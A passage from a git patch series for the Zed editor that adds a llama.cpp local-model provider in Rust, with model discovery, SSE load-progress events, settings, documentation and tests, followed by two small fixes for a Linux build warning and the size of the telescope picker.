+#[derive(Serialize, Deserialize, Debug)]
+pub struct ChoiceDelta {
+    pub index: u32,
+    pub delta: ResponseMessageDelta,
+    pub finish_reason: Option<String>,
+}
+
+#[derive(Serialize, Deserialize, Debug, Eq, PartialEq)]
+pub struct ResponseMessageDelta {
+    pub content: Option<String>,
+    /// `llama-server` emits reasoning as a dedicated `reasoning_content` field
+    /// when started with a reasoning format (e.g. `--reasoning-format deepseek`).
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub reasoning_content: Option<String>,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub tool_calls: Option<Vec<ToolCallChunk>>,
+}
+
+#[derive(Serialize, Deserialize, Debug, Eq, PartialEq)]
+pub struct ToolCallChunk {
+    pub index: usize,
+    pub id: Option<String>,
+    pub function: Option<FunctionChunk>,
+}
+
+#[derive(Serialize, Deserialize, Debug, Eq, PartialEq)]
+pub struct FunctionChunk {
+    pub name: Option<String>,
+    pub arguments: Option<String>,
+}
+
+/// Response of `GET /v1/models`.
+///
+/// In single-model mode `data` has exactly one entry describing the loaded
+/// model; in router mode it lists every model the server knows about.
+#[derive(Deserialize, Debug)]
+pub struct ListModelsResponse {
+    #[serde(default)]
+    pub data: Vec<ModelEntry>,
+}
+
+#[derive(Clone, Debug, Deserialize, PartialEq)]
+pub struct ModelEntry {
+    pub id: String,
+    /// Present in single-model mode; carries context information.
+    #[serde(default)]
+    pub meta: Option<ModelMeta>,
+    /// Present in router mode; reports the modalities the model accepts.
+    #[serde(default)]
+    pub architecture: Option<Architecture>,
+    /// Present in router mode; reports whether the model is currently loaded.
+    #[serde(default)]
+    pub status: Option<ModelStatus>,
+}
+
+impl ModelEntry {
+    /// Whether this entry came from a server running in router mode.
+    pub fn is_router_entry(&self) -> bool {
+        self.status.is_some()
+    }
+
+    /// Whether the model is loaded and can be probed for capabilities without
+    /// triggering a (potentially expensive) load.
+    pub fn is_loaded(&self) -> bool {
+        self.status
+            .as_ref()
+            .is_some_and(|status| status.value == "loaded")
+    }
+
+    /// Whether the model is currently loading, so a progress label applies.
+    pub fn is_loading(&self) -> bool {
+        self.status
+            .as_ref()
+            .is_some_and(|status| status.value == "loading")
+    }
+
+    pub fn supports_images_hint(&self) -> bool {
+        self.architecture
+            .as_ref()
+            .is_some_and(|architecture| architecture.input_modalities.iter().any(|m| m == "image"))
+    }
+}
+
+#[derive(Clone, Debug, Default, Deserialize, PartialEq)]
+pub struct ModelMeta {
+    /// The runtime per-slot context size.
+    #[serde(default)]
+    pub n_ctx: Option<u64>,
+    /// The context size the model was trained with.
+    #[serde(default)]
+    pub n_ctx_train: Option<u64>,
+}
+
+#[derive(Clone, Debug, Default, Deserialize, PartialEq)]
+pub struct Architecture {
+    #[serde(default)]
+    pub input_modalities: Vec<String>,
+}
+
+#[derive(Clone, Debug, Deserialize, PartialEq)]
+pub struct ModelStatus {
+    /// One of `loaded`, `loading`, `unloaded`, `downloading`, `downloaded`, `sleeping`.
+    pub value: String,
+}
+
+/// Response of `GET /props`, describing the loaded model.
+#[derive(Clone, Debug, Default, Deserialize, PartialEq)]
+pub struct Props {
+    #[serde(default)]
+    pub default_generation_settings: Option<GenerationSettings>,
+    #[serde(default)]
+    pub modalities: Option<Modalities>,
+    #[serde(default)]
+    pub chat_template_caps: Option<ChatTemplateCaps>,
+}
+
+impl Props {
+    /// The runtime context length the loaded model was configured with.
+    pub fn context_length(&self) -> Option<u64> {
+        self.default_generation_settings
+            .as_ref()
+            .and_then(|settings| settings.n_ctx)
+            .filter(|n_ctx| *n_ctx > 0)
+    }
+
+    pub fn supports_images(&self) -> bool {
+        self.modalities
+            .as_ref()
+            .is_some_and(|modalities| modalities.vision)
+    }
+
+    pub fn supports_tools(&self) -> bool {
+        self.chat_template_caps
+            .as_ref()
+            .is_some_and(|caps| caps.supports_tool_calls || caps.supports_tools)
+    }
+
+    pub fn supports_thinking(&self) -> bool {
+        self.chat_template_caps
+            .as_ref()
+            .is_some_and(|caps| caps.supports_preserve_reasoning)
+    }
+}
+
+#[derive(Clone, Debug, Default, Deserialize, PartialEq)]
+pub struct GenerationSettings {
+    #[serde(default)]
+    pub n_ctx: Option<u64>,
+}
+
+#[derive(Clone, Debug, Default, Deserialize, PartialEq)]
+pub struct Modalities {
+    #[serde(default)]
+    pub vision: bool,
+}
+
+#[derive(Clone, Debug, Default, Deserialize, PartialEq)]
+pub struct ChatTemplateCaps {
+    /// llama.cpp's `/props` reports both of these keys, so we read them into
+    /// separate fields (aliasing one to the other would be a serde duplicate-field
+    /// error) and treat either being true as tool support. `supports_tools` is the
+    /// older name; some builds report only one of the two.
+    #[serde(default)]
+    pub supports_tool_calls: bool,
+    #[serde(default)]
+    pub supports_tools: bool,
+    #[serde(default)]
+    pub supports_preserve_reasoning: bool,
+}
+
+/// An event from the router's `/models/sse` feed, which the provider subscribes
+/// to so model capabilities stay current as models load and unload. `model` is
+/// `*` for events that aren't about a single model (e.g. the list reloading).
+#[derive(Clone, Debug, Deserialize, PartialEq)]
+pub struct ModelEvent {
+    #[serde(default)]
+    pub model: String,
+    pub event: String,
+    #[serde(default)]
+    pub data: Option<ModelEventData>,
+}
+
+#[derive(Clone, Debug, Default, Deserialize, PartialEq)]
+pub struct ModelEventData {
+    #[serde(default)]
+    pub status: Option<String>,
+    /// Present on an `unloaded` status; non-zero means the model failed to load.
+    #[serde(default)]
+    pub exit_code: Option<i32>,
+    /// Present on a `loading` status, reporting per-stage load progress.
+    #[serde(default)]
+    pub progress: Option<LoadProgress>,
+}
+
+/// Per-stage load progress carried by a `loading` event. A model loads its
+/// stages in order (the text model, plus an optional draft and/or multimodal
+/// projector), each reporting a `0.0..=1.0` fraction.
+#[derive(Clone, Debug, Default, Deserialize, PartialEq)]
+pub struct LoadProgress {
+    #[serde(default)]
+    pub stages: Vec<String>,
+    #[serde(default)]
+    pub current: String,
+    #[serde(default)]
+    pub value: f32,
+}
+
+impl LoadProgress {
+    /// A human label for the stage currently loading, matching the llama.cpp
+    /// WebUI's labels. We report the current stage's own `value` rather than a
+    /// blended overall percentage (as the WebUI does), so each stage runs
+    /// `0→100%` and the label says which stage it is.
+    pub fn stage_label(&self) -> &'static str {
+        match self.current.as_str() {
+            "text_model" => "Loading weights",
+            "spec_model" => "Loading draft",
+            "mmproj_model" => "Loading projector",
+            _ => "Loading",
+        }
+    }
+
+    /// The full load-status label shown in the model selector, e.g.
+    /// `"Loading weights 42%"`: the current stage plus its own progress rounded
+    /// to a percentage.
+    pub fn progress_label(&self) -> String {
+        format!(
+            "{} {}%",
+            self.stage_label(),
+            (self.value * 100.0).round() as u32
+        )
+    }
+}
+
+impl ModelEvent {
+    /// Whether this event means the set of models or their loaded state changed,
+    /// so the provider should re-run discovery. Intermediate `loading` progress
+    /// ticks return `false` — only terminal load/unload and list changes matter.
+    pub fn changes_model_state(&self) -> bool {
+        match self.event.as_str() {
+            "models_reload" | "model_remove" => true,
+            _ => matches!(
+                self.data.as_ref().and_then(|data| data.status.as_deref()),
+                Some("loaded" | "unloaded")
+            ),
+        }
+    }
+
+    /// The non-zero exit code of a failed load, if this event reports one.
+    pub fn load_failure(&self) -> Option<i32> {
+        let data = self.data.as_ref()?;
+        if data.status.as_deref() == Some("unloaded") {
+            data.exit_code.filter(|code| *code != 0)
+        } else {
+            None
+        }
+    }
+
+    /// This event's load progress if it is a loading event carrying usable stage
+    /// data, else `None`.
+    pub fn load_progress(&self) -> Option<&LoadProgress> {
+        let data = self.data.as_ref()?;
+        if data.status.as_deref() != Some("loading") {
+            return None;
+        }
+        let progress = data.progress.as_ref()?;
+        // The server also emits bare stage-transition markers (e.g.
+        // `{"stage": "mmproj_model"}`) with no `stages`/`current`/`value`. Skip
+        // them so the indicator holds its last value rather than dropping to 0%.
+        if progress.stages.is_empty() || progress.current.is_empty() {
+            return None;
+        }
+        Some(progress)
+    }
+}
+
+pub async fn stream_chat_completion(
+    client: &dyn HttpClient,
+    api_url: &str,
+    api_key: Option<&str>,
+    request: ChatCompletionRequest,
+    extra_headers: &CustomHeaders,
+) -> Result<BoxStream<'static, Result<ResponseStreamEvent>>> {
+    let uri = format!("{api_url}/v1/chat/completions");
+    let request_builder = http::Request::builder()
+        .method(Method::POST)
+        .uri(uri)
+        .header("Content-Type", "application/json")
+        .when_some(api_key, |builder, api_key| {
+            builder.header("Authorization", format!("Bearer {api_key}"))
+        });
+
+    let request = request_builder
+        .extra_headers(extra_headers)
+        .body(AsyncBody::from(serde_json::to_string(&request)?))?;
+    let mut response = client.send(request).await?;
+    if response.status().is_success() {
+        let reader = BufReader::new(response.into_body());
+        Ok(reader
+            .lines()
+            .filter_map(|line| async move {
+                match line {
+                    Ok(line) => {
+                        let line = line.strip_prefix("data: ")?;
+                        if line == "[DONE]" {
+                            None
+                        } else {
+                            match serde_json::from_str(line) {
+                                Ok(ResponseStreamResult::Ok(response)) => Some(Ok(response)),
+                                Ok(ResponseStreamResult::Err { error }) => {
+                                    Some(Err(anyhow!(error.message)))
+                                }
+                                Err(error) => Some(Err(anyhow!(error))),
+                            }
+                        }
+                    }
+                    Err(error) => Some(Err(anyhow!(error))),
+                }
+            })
+            .boxed())
+    } else {
+        let mut body = String::new();
+        response.body_mut().read_to_string(&mut body).await?;
+        anyhow::bail!(
+            "Failed to connect to llama.cpp API: {} {}",
+            response.status(),
+            body,
+        );
+    }
+}
+
+/// Lists the models the server is serving via `GET /v1/models`.
+pub async fn get_models(
+    client: &dyn HttpClient,
+    api_url: &str,
+    api_key: Option<&str>,
+    extra_headers: &CustomHeaders,
+) -> Result<Vec<ModelEntry>> {
+    let uri = format!("{api_url}/v1/models");
+    let request = HttpRequest::builder()
+        .method(Method::GET)
+        .uri(uri)
+        .header("Accept", "application/json")
+        .when_some(api_key, |builder, api_key| {
+            builder.header("Authorization", format!("Bearer {api_key}"))
+        })
+        .extra_headers(extra_headers)
+        .body(AsyncBody::default())?;
+
+    let mut response = client.send(request).await?;
+
+    let mut body = String::new();
+    response.body_mut().read_to_string(&mut body).await?;
+
+    anyhow::ensure!(
+        response.status().is_success(),
+        "Failed to connect to llama.cpp API: {} {}",
+        response.status(),
+        body,
+    );
+    let response: ListModelsResponse =
+        serde_json::from_str(&body).context("Unable to parse llama.cpp models response")?;
+    Ok(response.data)
+}
+
+/// Fetches `GET /props` to discover the loaded model's capabilities.
+///
+/// In router mode `model` selects which model instance to query; passing
+/// `None` queries the single loaded model in single-model mode.
+pub async fn get_props(
+    client: &dyn HttpClient,
+    api_url: &str,
+    api_key: Option<&str>,
+    model: Option<&str>,
+    extra_headers: &CustomHeaders,
+) -> Result<Props> {
+    // Router-mode `/props` takes a `model` query parameter selecting which
+    // instance to describe. Model ids contain `/` and `:` (e.g.
+    // `unsloth/Qwen3.5-2B-GGUF:Q4_1`), so the value is URL-encoded.
+    let uri = match model {
+        Some(model) => Url::parse_with_params(&format!("{api_url}/props"), [("model", model)])
+            .context("invalid llama.cpp API URL")?
+            .to_string(),
+        None => format!("{api_url}/props"),
+    };
+    let request = HttpRequest::builder()
+        .method(Method::GET)
+        .uri(uri)
+        .header("Accept", "application/json")
+        .when_some(api_key, |builder, api_key| {
+            builder.header("Authorization", format!("Bearer {api_key}"))
+        })
+        .extra_headers(extra_headers)
+        .body(AsyncBody::default())?;
+
+    let mut response = client.send(request).await?;
+
+    let mut body = String::new();
+    response.body_mut().read_to_string(&mut body).await?;
+
+    anyhow::ensure!(
+        response.status().is_success(),
+        "Failed to connect to llama.cpp API: {} {}",
+        response.status(),
+        body,
+    );
+    let props: Props =
+        serde_json::from_str(&body).context("Unable to parse llama.cpp props response")?;
+    Ok(props)
+}
+
+/// Opens the router's `GET /models/sse` event stream. Each item is one parsed
+/// event; the stream ends when the connection closes. Only available on builds
+/// that expose `/models/sse` (router mode).
+pub async fn stream_model_events(
+    client: &dyn HttpClient,
+    api_url: &str,
+    api_key: Option<&str>,
+    extra_headers: &CustomHeaders,
+) -> Result<BoxStream<'static, Result<ModelEvent>>> {
+    let uri = format!("{api_url}/models/sse");
+    let request = HttpRequest::builder()
+        .method(Method::GET)
+        .uri(uri)
+        .header("Accept", "text/event-stream")
+        .when_some(api_key, |builder, api_key| {
+            builder.header("Authorization", format!("Bearer {api_key}"))
+        })
+        .extra_headers(extra_headers)
+        .body(AsyncBody::default())?;
+
+    let mut response = client.send(request).await?;
+    if !response.status().is_success() {
+        let mut body = String::new();
+        response.body_mut().read_to_string(&mut body).await?;
+        anyhow::bail!(
+            "Failed to open llama.cpp model event stream: {} {}",
+            response.status(),
+            body,
+        );
+    }
+
+    let reader = BufReader::new(response.into_body());
+    Ok(reader
+        .lines()
+        .filter_map(|line| async move {
+            // Each event is a single `data:` line carrying the JSON envelope;
+            // other SSE lines (comments, blank separators) are ignored.
+            let line = line.ok()?;
+            let payload = line.strip_prefix("data:")?.trim_start();
+            Some(serde_json::from_str::<ModelEvent>(payload).map_err(|error| anyhow!(error)))
+        })
+        .boxed())
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn parse_single_model_listing() {
+        let response = serde_json::json!({
+            "object": "list",
+            "data": [
+                {
+                    "id": "../models/Meta-Llama-3.1-8B-Instruct-Q4_K_M.gguf",
+                    "object": "model",
+                    "created": 1735142223u64,
+                    "owned_by": "llamacpp",
+                    "meta": {
+                        "n_ctx": 8192,
+                        "n_ctx_train": 131072,
+                        "n_embd": 4096,
+                    }
+                }
+            ]
+        });
+        let response: ListModelsResponse = serde_json::from_value(response).unwrap();
+        assert_eq!(response.data.len(), 1);
+        let entry = &response.data[0];
+        assert!(!entry.is_router_entry());
+        assert_eq!(entry.meta.as_ref().unwrap().n_ctx, Some(8192));
+        assert_eq!(entry.meta.as_ref().unwrap().n_ctx_train, Some(131072));
+    }
+
+    #[test]
+    fn parse_router_model_listing() {
+        let response = serde_json::json!({
+            "object": "list",
+            "data": [
+                {
+                    "id": "qwen2.5-coder",
+                    "object": "model",
+                    "owned_by": "llamacpp",
+                    "status": { "value": "loaded", "args": [] },
+                    "architecture": {
+                        "input_modalities": ["text", "image"],
+                        "output_modalities": ["text"]
+                    }
+                },
+                {
+                    "id": "gemma-3",
+                    "object": "model",
+                    "owned_by": "llamacpp",
+                    "status": { "value": "unloaded" },
+                    "architecture": { "input_modalities": ["text"] }
+                }
+            ]
+        });
+        let response: ListModelsResponse = serde_json::from_value(response).unwrap();
+        assert_eq!(response.data.len(), 2);
+
+        let loaded = &response.data[0];
+        assert!(loaded.is_router_entry());
+        assert!(loaded.is_loaded());
+        assert!(loaded.supports_images_hint());
+
+        let unloaded = &response.data[1];
+        assert!(unloaded.is_router_entry());
+        assert!(!unloaded.is_loaded());
+        assert!(!unloaded.supports_images_hint());
+    }
+
+    #[test]
+    fn parse_props() {
+        let response = serde_json::json!({
+            "default_generation_settings": {
+                "id": 0,
+                "n_ctx": 8192,
+                "params": {}
+            },
+            "total_slots": 1,
+            "model_path": "../models/Meta-Llama-3.1-8B-Instruct-Q4_K_M.gguf",
+            "modalities": { "vision": true, "audio": false },
+            // The real `/props` reports both keys; parsing must not treat that as
+            // a duplicate field.
+            "chat_template_caps": {
+                "supports_tools": true,
+                "supports_tool_calls": true,
+                "supports_preserve_reasoning": true,
+                "supports_system_role": true
+            }
+        });
+        let props: Props = serde_json::from_value(response).unwrap();
+        assert_eq!(props.context_length(), Some(8192));
+        assert!(props.supports_images());
+        assert!(props.supports_tools());
+        assert!(props.supports_thinking());
+    }
+
+    fn model_event(value: serde_json::Value) -> ModelEvent {
+        serde_json::from_value(value).unwrap()
+    }
+
+    #[test]
+    fn model_event_state_changes() {
+        // Terminal load/unload and list changes warrant re-discovery.
+        assert!(
+            model_event(serde_json::json!({
+                "model": "m", "event": "status_change", "data": { "status": "loaded" }
+            }))
+            .changes_model_state()
+        );
+        assert!(
+            model_event(serde_json::json!({
+                "model": "m", "event": "status_change", "data": { "status": "unloaded" }
+            }))
+            .changes_model_state()
+        );
+        assert!(
+            model_event(serde_json::json!({ "model": "*", "event": "models_reload" }))
+                .changes_model_state()
+        );
+        assert!(
+            model_event(serde_json::json!({ "model": "m", "event": "model_remove" }))
+                .changes_model_state()
+        );
+
+        // Intermediate loading-progress ticks do not.
+        assert!(
+            !model_event(serde_json::json!({
+                "model": "m", "event": "status_change",
+                "data": { "status": "loading", "progress": { "value": 0.4 } }
+            }))
+            .changes_model_state()
+        );
+        assert!(
+            !model_event(serde_json::json!({ "model": "m", "event": "download_progress" }))
+                .changes_model_state()
+        );
+    }
+
+    #[test]
+    fn model_event_load_failure() {
+        let failed = model_event(serde_json::json!({
+            "model": "m", "event": "status_change", "data": { "status": "unloaded", "exit_code": 1 }
+        }));
+        assert_eq!(failed.load_failure(), Some(1));
+
+        // A clean unload (exit code 0 or absent) is not a failure.
+        let clean = model_event(serde_json::json!({
+            "model": "m", "event": "status_change", "data": { "status": "unloaded", "exit_code": 0 }
+        }));
+        assert_eq!(clean.load_failure(), None);
+        let loaded = model_event(serde_json::json!({
+            "model": "m", "event": "status_change", "data": { "status": "loaded" }
+        }));
+        assert_eq!(loaded.load_failure(), None);
+    }
+
+    #[test]
+    fn model_event_load_progress() {
+        // We report the current stage's own value (0→1), not a blended overall.
+        let weights = model_event(serde_json::json!({
+            "model": "m", "event": "status_change",
+            "data": { "status": "loading",
+                      "progress": { "stages": ["text_model"], "current": "text_model", "value": 0.4 } }
+        }));
+        let progress = weights.load_progress().unwrap();
+        assert!((progress.value - 0.4).abs() < 1e-4);
+        assert_eq!(progress.stage_label(), "Loading weights");
+        assert_eq!(progress.progress_label(), "Loading weights 40%");
+
+        // The projector stage runs 0→1 on its own (not 90→100%).
+        let projector = model_event(serde_json::json!({
+            "model": "m", "event": "status_change",
+            "data": { "status": "loading",
+                      "progress": { "stages": ["text_model", "mmproj_model"],
+                                    "current": "mmproj_model", "value": 0.5 } }
+        }));
+        let progress = projector.load_progress().unwrap();
+        assert!((progress.value - 0.5).abs() < 1e-4);
+        assert_eq!(progress.stage_label(), "Loading projector");
+
+        // Non-loading events carry no progress.
+        let loaded = model_event(serde_json::json!({
+            "model": "m", "event": "status_change", "data": { "status": "loaded" }
+        }));
+        assert!(loaded.load_progress().is_none());
+
+        // Bare stage-transition markers (no stages/current/value) are skipped so
+        // the indicator doesn't flicker to 0% between stages.
+        let transition = model_event(serde_json::json!({
+            "model": "m", "event": "status_change",
+            "data": { "status": "loading", "progress": { "stage": "mmproj_model" } }
+        }));
+        assert!(transition.load_progress().is_none());
+    }
+
+    #[test]
+    fn parse_streaming_reasoning_and_tool_calls() {
+        let event = serde_json::json!({
+            "model": "llama",
+            "object": "chat.completion.chunk",
+            "choices": [
+                {
+                    "index": 0,
+                    "delta": {
+                        "role": "assistant",
+                        "content": null,
+                        "reasoning_content": "thinking...",
+                        "tool_calls": [
+                            {
+                                "index": 0,
+                                "id": "call_1",
+                                "function": { "name": "weather", "arguments": "{\"city\":" }
+                            }
+                        ]
+                    },
+                    "finish_reason": null
+                }
+            ]
+        });
+        let event: ResponseStreamEvent = serde_json::from_value(event).unwrap();
+        let delta = &event.choices[0].delta;
+        assert_eq!(delta.reasoning_content.as_deref(), Some("thinking..."));
+        assert_eq!(delta.tool_calls.as_ref().unwrap().len(), 1);
+    }
+
+    #[test]
+    fn encodes_router_model_id_for_props_query() {
+        // Router ids contain `/` and `:`, which must be URL-encoded in the
+        // `?model=` query, while unreserved characters (`.`, `-`) stay literal.
+        let url = Url::parse_with_params(
+            "http://localhost:8080/props",
+            [("model", "unsloth/Qwen3.5-2B-GGUF:Q4_1")],
+        )
+        .unwrap();
+        assert_eq!(
+            url.as_str(),
+            "http://localhost:8080/props?model=unsloth%2FQwen3.5-2B-GGUF%3AQ4_1"
+        );
+    }
+}
diff --git a/crates/settings_content/src/language_model.rs b/crates/settings_content/src/language_model.rs
index a673ecc7a88660..ab11097728c1c1 100644
--- a/crates/settings_content/src/language_model.rs
+++ b/crates/settings_content/src/language_model.rs
@@ -15,6 +15,7 @@ pub struct AllLanguageModelSettingsContent {
     pub bedrock: Option<AmazonBedrockSettingsContent>,
     pub deepseek: Option<DeepseekSettingsContent>,
     pub google: Option<GoogleSettingsContent>,
+    pub llama_cpp: Option<LlamaCppSettingsContent>,
     pub lmstudio: Option<LmStudioSettingsContent>,
     pub mistral: Option<MistralSettingsContent>,
     pub ollama: Option<OllamaSettingsContent>,
@@ -262,6 +263,36 @@ pub struct LmStudioAvailableModel {
     pub supports_images: bool,
 }
 
+#[with_fallible_options]
+#[derive(Default, Clone, Debug, Serialize, Deserialize, PartialEq, JsonSchema, MergeFrom)]
+pub struct LlamaCppSettingsContent {
+    pub api_url: Option<String>,
+    /// Whether to automatically discover models served by the llama.cpp server.
+    /// Defaults to true.
+    pub auto_discover: Option<bool>,
+    pub available_models: Option<Vec<LlamaCppAvailableModel>>,
+    /// Overrides the context length reported for every llama.cpp model.
+    pub context_window: Option<u64>,
+    pub custom_headers: Option<HashMap<String, String>>,
+}
+
+#[with_fallible_options]
+#[derive(Clone, Debug, PartialEq, Serialize, Deserialize, JsonSchema, MergeFrom)]
+pub struct LlamaCppAvailableModel {
+    /// The model id reported by the llama.cpp server (its `--alias` or the model file path).
+    pub name: String,
+    /// The model's name in Zed's UI, such as in the model selector dropdown menu in the agent panel.
+    pub display_name: Option<String>,
+    /// The Context Length parameter to the model (aka n_ctx).
+    pub max_tokens: u64,
+    /// Whether the model supports tools.
+    pub supports_tools: Option<bool>,
+    /// Whether the model supports vision.
+    pub supports_images: Option<bool>,
+    /// Whether the model emits reasoning/thinking content.
+    pub supports_thinking: Option<bool>,
+}
+
 #[with_fallible_options]
 #[derive(Default, Clone, Debug, Serialize, Deserialize, PartialEq, JsonSchema, MergeFrom)]
 pub struct DeepseekSettingsContent {
diff --git a/docs/src/ai/by-company.md b/docs/src/ai/by-company.md
index 5eb3d27a7c3e81..e477bdf6b2fa2f 100644
--- a/docs/src/ai/by-company.md
+++ b/docs/src/ai/by-company.md
@@ -97,8 +97,9 @@ Paid DeepSeek usage is API access in Zed, not subscription sign-in.
 
 | Tool                              | Support level     | What you get                           | Account / billing | Setup                                                         |
 | --------------------------------- | ----------------- | -------------------------------------- | ----------------- | ------------------------------------------------------------- |
-| Ollama                            | Configured in Zed | Local models for Zed AI features       | Local/self-hosted | [Use a Local Model](./use-a-local-model.md#ollama)            |
+| llama.cpp                         | Configured in Zed | Local models for Zed AI features       | Local/self-hosted | [Use a Local Model](./use-a-local-model.md#llama-cpp)         |
 | LM Studio                         | Configured in Zed | Local models for Zed AI features       | Local/self-hosted | [Use a Local Model](./use-a-local-model.md#lm-studio)         |
+| Ollama                            | Configured in Zed | Local models for Zed AI features       | Local/self-hosted | [Use a Local Model](./use-a-local-model.md#ollama)            |
 | Local OpenAI-compatible server    | Configured in Zed | Local or self-hosted model endpoint    | Local/self-hosted | [Use a Local Model](./use-a-local-model.md#openai-compatible) |
 | Local/self-hosted edit prediction | Configured in Zed | Edit predictions from a local provider | Local/self-hosted | [Edit Prediction](./edit-prediction.md)                       |
 
diff --git a/docs/src/ai/use-a-local-model.md b/docs/src/ai/use-a-local-model.md
index 7cd7836b698999..89984d10f345c6 100644
--- a/docs/src/ai/use-a-local-model.md
+++ b/docs/src/ai/use-a-local-model.md
@@ -1,6 +1,6 @@
 ---
 title: Use a Local Model - Zed
-description: Configure Ollama, LM Studio, local OpenAI-compatible servers, and local edit prediction in Zed.
+description: Configure llama.cpp, Ollama, LM Studio, local OpenAI-compatible servers, and local edit prediction in Zed.
 ---
 
 # Use a Local Model
@@ -9,11 +9,69 @@ Use local models when you run the model on your machine or on infrastructure you
 
 | Local path                        | Zed AI features      | External Agents | Terminal Threads | Notes                                              |
 | --------------------------------- | -------------------- | --------------- | ---------------- | -------------------------------------------------- |
-| Ollama                            | Yes                  | Separate config | Separate config  | Configure Ollama for Zed AI features               |
+| llama.cpp                         | Yes                  | Separate config | Separate config  | Configure a llama.cpp server for Zed AI features   |
 | LM Studio                         | Yes                  | Separate config | Separate config  | Configure LM Studio for Zed AI features            |
+| Ollama                            | Yes                  | Separate config | Separate config  | Configure Ollama for Zed AI features               |
 | Local OpenAI-compatible server    | Yes                  | Separate config | Separate config  | Configure base URL, model, and key if needed       |
 | Local/self-hosted edit prediction | Edit Prediction only | No              | No               | Uses [Edit Prediction](./edit-prediction.md) setup |
 
+## llama.cpp {#llama-cpp}
+
+Use [llama.cpp](https://llama.app) and its built-in server for local models with Zed Agent, Inline Assistant, and similar model-backed Zed AI features.
+
+1. Install llama.cpp from [llama.app](https://llama.app).
+2. Start the server in [router mode](https://github.com/ggml-org/llama.cpp/blob/master/tools/server/README.md):
+
+   ```sh
+   llama serve
+   ```
+
+   It loads models from the llama.cpp cache on demand. To download and run a specific model in one step, pass `-hf`:
+
+   ```sh
+   llama serve -hf unsloth/gemma-4-26B-A4B-it-GGUF:BF16
+   ```
+
+3. In Zed, select a llama.cpp model from the model dropdown.
+
+Zed automatically discovers the served models with their context length and tool/vision capabilities. In router mode these are refined once a model loads, via the server's `/models/sse` stream (which requires a recent llama.cpp build). To list models yourself instead, set `auto_discover` to `false`:
+
+```json [settings]
+{
+  "language_models": {
+    "llama_cpp": {
+      "api_url": "http://localhost:8080",
+      "auto_discover": false,
+      "available_models": [
+        {
+          "name": "gemma-4-12b-it-GGUF:BF16",
+          "display_name": "gemma-4-12b-it-GGUF:BF16",
+          "max_tokens": 32768,
+          "supports_tools": true,
+          "supports_images": false
+        }
+      ]
+    }
+  }
+}
+```
+
+### llama.cpp Context Length {#llama-cpp-context}
+
+Zed uses the context length the server reports (`/props`). Override it for all models with `context_window`, or per model with `max_tokens` in `available_models`:
+
+```json [settings]
+{
+  "language_models": {
+    "llama_cpp": {
+      "context_window": 8192
+    }
+  }
+}
+```
+
+If your llama.cpp server requires a key, enter it in the provider UI or set `LLAMACPP_API_KEY`. For a remote server, set the API URL to its endpoint and provide the key (set on the server with `--api-key`).
+
 ## Ollama {#ollama}
 
 Use Ollama for local models with Zed Agent, Inline Assistant, and similar model-backed Zed AI features.

From 441de84a77e7b0c9306801497fbb1bf36630055e Mon Sep 17 00:00:00 2001
From: Marshall Bowers <git@maxdeviant.com>
Date: Mon, 29 Jun 2026 09:31:03 -0400
Subject: [PATCH 157/772] gpui_linux: Suppress dead code warning on
 `wake_sender` (#60090)

This PR adds a conditional `allow(dead_code)` to the `wake_sender` field
to fix this error when building Collab:

```
error: field `wake_sender` is never read
   --> crates/gpui_linux/src/linux/platform.rs:126:5
    |
116 | pub(crate) struct LinuxCommon {
    |                   ----------- field in this struct
...
126 |     wake_sender: Sender<()>,
    |     ^^^^^^^^^^^
    |
    = note: `-D dead-code` implied by `-D warnings`
    = help: to override `-D warnings` add `#[expect(dead_code)]` or `#[allow(dead_code)]`

error: could not compile `gpui_linux` (lib) due to 1 previous error
warning: build failed, waiting for other jobs to finish...
```


https://github.com/zed-industries/zed/actions/runs/28374439219/job/84060893437

Release Notes:

- N/A
---
 crates/gpui_linux/src/linux/platform.rs | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/crates/gpui_linux/src/linux/platform.rs b/crates/gpui_linux/src/linux/platform.rs
index f3742f53df5ffc..8aac55d32184cd 100644
--- a/crates/gpui_linux/src/linux/platform.rs
+++ b/crates/gpui_linux/src/linux/platform.rs
@@ -123,6 +123,10 @@ pub(crate) struct LinuxCommon {
     pub(crate) callbacks: PlatformHandlers,
     pub(crate) signal: LoopSignal,
     pub(crate) menus: Vec<OwnedMenu>,
+    #[cfg_attr(
+        not(all(target_os = "linux", any(feature = "wayland", feature = "x11"))),
+        allow(dead_code)
+    )]
     wake_sender: Sender<()>,
     wake_listener_started: bool,
 }

From 26ee53e5aa029dcfd4425aa04a18c6cd8af51cb3 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Mon, 29 Jun 2026 17:04:35 +0300
Subject: [PATCH 158/772] Preserve telescope picker size on reopens (#60093)

Before:


https://github.com/user-attachments/assets/b95f3317-669a-462d-bbe8-ba80ede3e496

After:


https://github.com/user-attachments/assets/16536d14-fc91-4d68-ac0d-6b7c382dd298


Release Notes:

- Fixed telescope picker being overly small on consequent reopens
---
 crates/file_finder/src/file_finder_tests.rs | 35 +++++++++++++++++++++
 crates/picker/src/picker.rs                 | 24 ++++++++++++--
 2 files changed, 57 insertions(+), 2 deletions(-)

diff --git a/crates/file_finder/src/file_finder_tests.rs b/crates/file_finder/src/file_finder_tests.rs
index bc800417074537..f3d63a09ee6176 100644
--- a/crates/file_finder/src/file_finder_tests.rs
+++ b/crates/file_finder/src/file_finder_tests.rs
@@ -4380,6 +4380,41 @@ async fn test_open_without_dismiss_then_confirm_closes_finder(cx: &mut TestAppCo
     });
 }
 
+#[gpui::test]
+async fn test_reopen_with_preview_keeps_results_width(cx: &mut TestAppContext) {
+    let app_state = init_test(cx);
+    app_state
+        .fs
+        .as_fake()
+        .insert_tree(path!("/root"), json!({ "a.txt": "", "b.txt": "" }))
+        .await;
+    let project = Project::test(app_state.fs.clone(), [path!("/root").as_ref()], cx).await;
+    let (picker, workspace, cx) = build_find_picker(project, cx);
+
+    cx.dispatch_action(picker::SetPreviewRight);
+    cx.run_until_parked();
+    let in_session_width = picker.update_in(cx, |picker, window, _| picker.results_width(window));
+
+    cx.dispatch_action(Cancel);
+    cx.run_until_parked();
+
+    let picker = open_file_picker(&workspace, cx);
+    cx.run_until_parked();
+    let reopened_width = picker.update_in(cx, |picker, window, _| picker.results_width(window));
+
+    assert_eq!(
+        in_session_width, reopened_width,
+        "reopening with the side preview must keep the same results width as the in-session toggle"
+    );
+
+    // The preview layout is persisted in the key-value store, and tests in a
